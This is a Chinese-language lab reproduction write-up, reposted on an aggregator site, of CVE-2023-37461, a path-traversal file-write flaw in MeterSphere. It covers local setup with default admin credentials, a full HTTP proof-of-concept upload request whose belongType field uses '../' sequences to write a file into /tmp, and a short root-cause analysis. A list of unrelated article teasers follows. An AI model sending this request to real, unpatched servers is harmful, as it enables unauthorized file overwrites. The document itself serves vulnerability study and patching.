【漏洞復現】CVE-2023-37461 Arbitrary File Writing

漏洞信息

NVD - cve-2023-37461

Metersphere is an opensource testing framework. Files uploaded to Metersphere may define a belongType value with a relative path like ../../../../ which may cause metersphere to attempt to overwrite an existing file in the defined location or to create a new file. Attackers would be limited to overwriting files that the metersphere process has access to. This issue has been addressed in version 2.10.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.

背景介紹

MeterSphere is an open-source, continuous testing platform widely used by developers and QA managers for test plan management, data-driven testing, and test reporting metrics. It is engineered to integrate seamlessly with a variety of development and CI/CD toolchains to enhance productivity in DevOps environments. The platform supports functional UI, performance, and API testing, aiming to optimize testing workflows. The primary users of MeterSphere are software development teams and testing specialists seeking to attain high-quality assurance in their product cycles. Its robust plug-in architecture allows it to be extended and customized for specific workflows and tool integrations, making it adaptable across different industry requirements.

主頁:https://metersphere.io/

源碼:https://github.com/metersphere/metersphere

環境搭建

$ wget https://github.com/metersphere/metersphere/releases/download/v2.10.1-lts/metersphere-online-installer-v2.10.1-lts.tar.gz --no-check-certificate
$ tar zxvf metersphere-online-installer-v2.10.1-lts.tar.gz
$ cd metersphere-online-installer-v2.10.1-lts
$ sudo ./install.sh
$ msctl statusName                  Command               State                Ports         
--------------------------------------------------------------------------------------
api-test             /deployments/run-java.sh   Up (healthy)   0.0.0.0:10000->10000/tcp,:::10000->10000/tcp, 0.0.0.0:10001->10001/tcp,:::10001->10001/tcp, 0.0.0.0:10002->10002/tcp,:::10002->10002/tcp, 0.0.0.0:10003->10003/tcp,:::10003->10003/tcp, 0.0.0.0:10004->10004/tcp,:::10004->10004/tcp, 0.0.0.0:10005->10005/tcp,:::10005->10005/tcp, 0.0.0.0:10006->10006/tcp,:::10006->10006/tcp, 0.0.0.0:10007->10007/tcp,:::10007->10007/tcp, 0.0.0.0:10008->10008/tcp,:::10008->10008/tcp, 0.0.0.0:10009->10009/tcp,:::10009->10009/tcp, 0.0.0.0:10010->10010/tcp,:::10010->10010/tcp  
eureka               /deployments/run-java.sh   Up (healthy)                          
gateway              /deployments/run-java.sh   Up (healthy)   0.0.0.0:8081->8000/tcp,:::8081->8000/tcp      
kafka                /opt/bitnami/scripts/kaf   Up (healthy)   0.0.0.0:9092->9092/tcp,ka ...                                    :::9092->9092/tcp      
minio                /usr/bin/docker-           Up (healthy)   0.0.0.0:9000->9000/tcp,entrypoint ...                            :::9000->9000/tcp, 0.0.0.0:9001->9001/tcp,:::9001->9001/tcp          
ms-data-streaming    /deployments/run-java.sh   Up (healthy)                          
ms-node-controller   sh -c sed -i               Up (healthy)   0.0.0.0:8082->8082/tcp,"s/:101:/:136 ...                         :::8082->8082/tcp, 0.0.0.0:9100->9100/tcp,:::9100->9100/tcp          
ms-prometheus        /bin/prometheus            Up (healthy)   0.0.0.0:9091->9090/tcp,--config.f ...                            :::9091->9090/tcp      
mysql                docker-entrypoint.sh       Up (healthy)   0.0.0.0:3306->3306/tcp,mysqld                                    :::3306->3306/tcp,     33060/tcp              
nodeexporter         /bin/node_exporter         Up (healthy)                          --path. ...                                                      
performance-test     /deployments/run-java.sh   Up (healthy)                          
project-management   /deployments/run-java.sh   Up (healthy)                          
redis                docker-entrypoint.sh       Up (healthy)   0.0.0.0:6379->6379/tcp,redis ...                                 :::6379->6379/tcp      
report-stat          /deployments/run-java.sh   Up (healthy)                          
system-setting       /deployments/run-java.sh   Up (healthy)                          
test-track           /deployments/run-java.sh   Up (healthy)                          
workstation          /deployments/run-java.sh   Up (healthy) 

Debug1:訪問Web UI有{"success":false,"message":"401 UNAUTHORIZED \"Not found session, Please Login again.\"","data":null}報錯,一定要等待所有容器Up并healthy狀態,后再等5min訪問Web UI(不要中途切換)。

Debug2:9090端口號占用問題,在docker-compose-prometheus.ymlinstall.conf修改為9091即可。

# Debug3: Additionally
$ msctl restart gateway
$ msctl restart workstation
$ msctl restart prometheus

Web UI:http://127.0.0.1:8081

賬號admin、密碼metersphere

漏洞復現

參考:https://github.com/metersphere/metersphere/security/advisories/GHSA-xfr9-jgfp-fx3v

登錄系統后按照如下步驟創建一個測試用例:
在這里插入圖片描述

本地上傳附件,觸發Upload請求:

在這里插入圖片描述

抓包,修改belongIdbelongType字段,發包后200 OK
在這里插入圖片描述

POC:

POST /track/attachment/testcase/upload HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
CSRF-TOKEN: uzKF86dFBZ5H5IsT6tT1Zx3WibRCV3i9yQxwgR7zLKElhRigvfYLlvBxufS9MqxqnrIEJm2RCbAK/1pBGoEvrA==
X-AUTH-TOKEN: c34a7ff5-53b1-44ff-bd53-c03fe5c7b148
WORKSPACE: 7a6e6750-bdb8-11ef-bcf6-0242ac1e0a07
PROJECT: 7a6e9276-bdb8-11ef-bcf6-0242ac1e0a07
Content-Type: multipart/form-data; boundary=---------------------------108034667142566387213929135350
Content-Length: 480
Origin: http://127.0.0.1:8081
Connection: keep-alive
Referer: http://127.0.0.1:8081/
-----------------------------108034667142566387213929135350
Content-Disposition: form-data; name="file"; filename="hacked.php"
Content-Type: text/html
<script>alert("You are hacked\!")</script>
-----------------------------108034667142566387213929135350
Content-Disposition: form-data; name="request"; filename="blob"
Content-Type: application/json
{"belongId":"","belongType":"../../../../../../../tmp"}
-----------------------------108034667142566387213929135350--

漏洞分析

uploadAttachment方法檢查了BelongType是否等于ISSUE以及TEST_CASE。如果都不是,就直接在函數saveAttachment中使用BelongType作為文件名的一部分,導致路徑穿越。

請添加圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/63686.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/63686.shtml
英文地址,請注明出處:http://en.pswp.cn/web/63686.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Bcrypt在線密碼加密生成器

具體前往&#xff1a;在線Bcrypt加密工具--使用bcrypt及生成salt的迭代次數強度參數計算生成哈希(摘要)

Django 模板分割及多語言支持案例【需求文檔】-->【實現方案】

Django 模板分割及多語言支持案例 這個案例旨在提供一個清晰的示范&#xff0c;展示如何將復雜的頁面分解為多個可復用的模板組件&#xff0c;使代碼更加模塊化和易于管理。希望這篇案例文章對你有所幫助。 概述 在 Django 項目開發中&#xff0c;使用模板分割和多語言支持能…

wxWidgets使用wxStyledTextCtrl(Scintilla編輯器)的正確姿勢

開發CuteMySQL/CuteSqlite開源客戶端的時候&#xff0c;需要使用Scintilla編輯器&#xff0c;來高亮顯示SQL語句&#xff0c;作為C/C領域最成熟穩定又小巧的開源編輯器&#xff0c;Scintilla提供了強大的功能&#xff0c;wxWidgets對Scintilla進行包裝后的是控件類&#xff1a;…

構建高性能異步任務引擎:FastAPI + Celery + Redis

在現代應用開發中&#xff0c;異步任務處理是一個常見的需求。無論是數據處理、圖像生成&#xff0c;還是復雜的計算任務&#xff0c;異步執行都能顯著提升系統的響應速度和吞吐量。今天&#xff0c;我們將通過一個實際項目&#xff0c;探索如何使用 FastAPI、Celery 和 Redis …

介紹 Html 和 Html 5 的關系與區別

HTML&#xff08;HyperText Markup Language&#xff09;是構建網頁的標準標記語言&#xff0c;而 HTML5 是 HTML 的最新版本&#xff0c;包含了一些新的功能、元素、API 和屬性。HTML5 相對于早期版本的 HTML&#xff08;比如 HTML4&#xff09;有許多重要的改進和變化。以下是…

【win10+RAGFlow+Ollama】搭建本地大模型助手(教程+源碼)

一、RAGFlow簡介 RAGFlow是一個基于對文檔深入理解的開源RAG&#xff08;Retrieval-augmented Generation&#xff0c;檢索增強生成&#xff09;引擎。 主要作用&#xff1a; 讓用戶創建自有知識庫&#xff0c;根據設定的參數對知識庫中的文件進行切塊處理&#xff0c;用戶向大…

qwt 之 QwtPlotPicker

QwtPlotMarker 和 QwtPlotPicker 是 Qwt 庫中用于增強 QwtPlot 功能的兩個重要類。它們分別用于在圖中添加標記和實現交互式的選擇或拖動功能。 QwtPlotPicker 提供了交互式的選擇工具&#xff0c;它允許用戶通過鼠標點擊或拖動來選擇圖表中的數據點或區域。這對于實現縮放、平…

C/C++圣誕樹

系列文章 序號直達鏈接1C/C愛心代碼2C/C跳動的愛心3C/C李峋同款跳動的愛心代碼4C/C滿屏飄字表白代碼5C/C大雪紛飛代碼6C/C煙花代碼7C/C黑客帝國同款字母雨8C/C櫻花樹代碼9C/C奧特曼代碼10C/C精美圣誕樹11C/C俄羅斯方塊12C/C貪吃蛇13C/C孤單又燦爛的神-鬼怪14C/C閃爍的愛心15C…

lua dofile 傳參數

cat 1.lua arg[1] 111 arg[2] 222 dofile(./2.lua) cat 2.lua print("First argument is: " .. arg[1]) print("Second argument is: " .. arg[2]) 執行 lua 1.lua&#xff0c;結果為&#xff1a; First argument is: 111 Second argument is: 222 l…

電商數據流通的未來:API接口的智能化與自動化趨勢

在數字化時代&#xff0c;電子商務行業正在以前所未有的速度發展&#xff0c;而API&#xff08;應用程序編程接口&#xff09;接口作為電商領域的重要組成部分&#xff0c;其應用和發展趨勢也日益受到關注。API接口作為電商系統與外部服務或平臺交互的橋梁&#xff0c;對電商數…

投標心態:如何在“標海戰術”中保持清醒的頭腦?

在競爭激烈的市場環境下&#xff0c;“標海戰術”——即大規模參與投標——已經成為許多企業爭取市場份額的重要策略。然而&#xff0c;盲目追求投標數量可能導致資源浪費、團隊疲勞以及戰略目標的模糊化。在這種高強度的競爭模式中&#xff0c;如何保持清醒的頭腦&#xff0c;…

【蒼穹外賣】學習心得體會-隨筆

前言 寫了很久&#xff0c;終于可以完整運行項目了&#xff0c;記錄下這幾天的心得體會回顧一下知識點 第一天、Git 分布式版本控制工具 一、Git概述 定義&#xff1a;是分布式版本控制工具&#xff0c;用于管理軟件開發中的源代碼文件&#xff0c;像Java類、xml文件、html…

windows C#-使用構造函數

實例化類或結構時&#xff0c;將會調用其構造函數。 構造函數與該類或結構具有相同名稱&#xff0c;并且通常初始化新對象的數據成員。 在下面的示例中&#xff0c;通過使用簡單構造函數定義了一個名為 Taxi 的類。 然后使用 new 運算符對該類進行實例化。 在為新對象分配內存…

研發效能DevOps: Vite 使用 Element Plus

目錄 一、實驗 1.環境 2.初始化前端項目 3.安裝 vue-route 4.安裝 pinia 5.安裝 axios 6.安裝 Element Plus 7.gitee創建工程 8. 配置路由映射 9.Vite 使用 Element Plus 二、問題 1.README.md 文檔推送到gitee未自動換行 2.訪問login頁面顯示空白 3.表單輸入賬戶…

5G 模組 RG500Q常用AT命令

5G 模組 RG500Q常用AT命令 5G 模組 RG500Q常用AT命令 at ATQNWPREFCFG\"mode_pref\",nr5g && sleep 1 at ATQNWPREFCFG\"nr5g_band\",79 && sleep 1 at atqnwlock\"commo…

NVIDIA DeepStream插件之Gst-nvtracker

NVIDIA DeepStream插件之Gst-nvtracker 1. 源由2. 基礎知識3. Gst-nvtracker插件3.1 插件參數3.2 插件API接口 4. 分析問題5. 總結6. 參考資料 1. 源由 這篇的主要目的是稍微吐槽下NVIDIA的設計&#xff0c;當然其實他們做的還是不錯的&#xff08;從系統架構設計角度看&#…

進程內存轉儲工具|內存鏡像提取-取證工具

1.內存轉儲&#xff0c;內存轉儲&#xff08;Memory Dump&#xff09;是將計算機的物理內存&#xff08;RAM&#xff09;內容復制到一個文件中的過程&#xff0c;這個文件通常被稱為“內存轉儲文件”或“核心轉儲文件”&#xff08;Core Dump&#xff09;,內存轉儲的主要目的是…

Lua語言入門 - Lua 面向對象

Lua 面向對象 面向對象編程&#xff08;Object Oriented Programming&#xff0c;OOP&#xff09;是一種非常流行的計算機編程架構&#xff0c;通過創建和操作對象來設計應用程序。 以下幾種編程語言都支持面向對象編程&#xff1a; CJavaObjective-CSmalltalkC#Ruby Lua 是…

Pyqt6在lineEdit中輸入文件名稱并創建或刪除JSON文件

1、創建JSON文件 代碼 import osdef addModulekeyWordFile(self):if "" ! self.lineEdit_module.text():moduleFile self.lineEdit_module.text() .jsonelse:self.toolLogPrinting(請輸入模塊名稱)returnfilePath modulekeyWordFileDir moduleFileif os.path.e…

【Leetcode 熱題 100】236. 二叉樹的最近公共祖先

問題背景 給定一個二叉樹, 找到該樹中兩個指定節點的最近公共祖先。 最近公共祖先的定義為&#xff1a;對于有根樹 T T T 的兩個節點 p p p、 q q q&#xff0c;最近公共祖先表示為一個節點 x x x&#xff0c;滿足 x x x 是 p p p、 q q q 的祖先且 x x x 的深度盡可能大…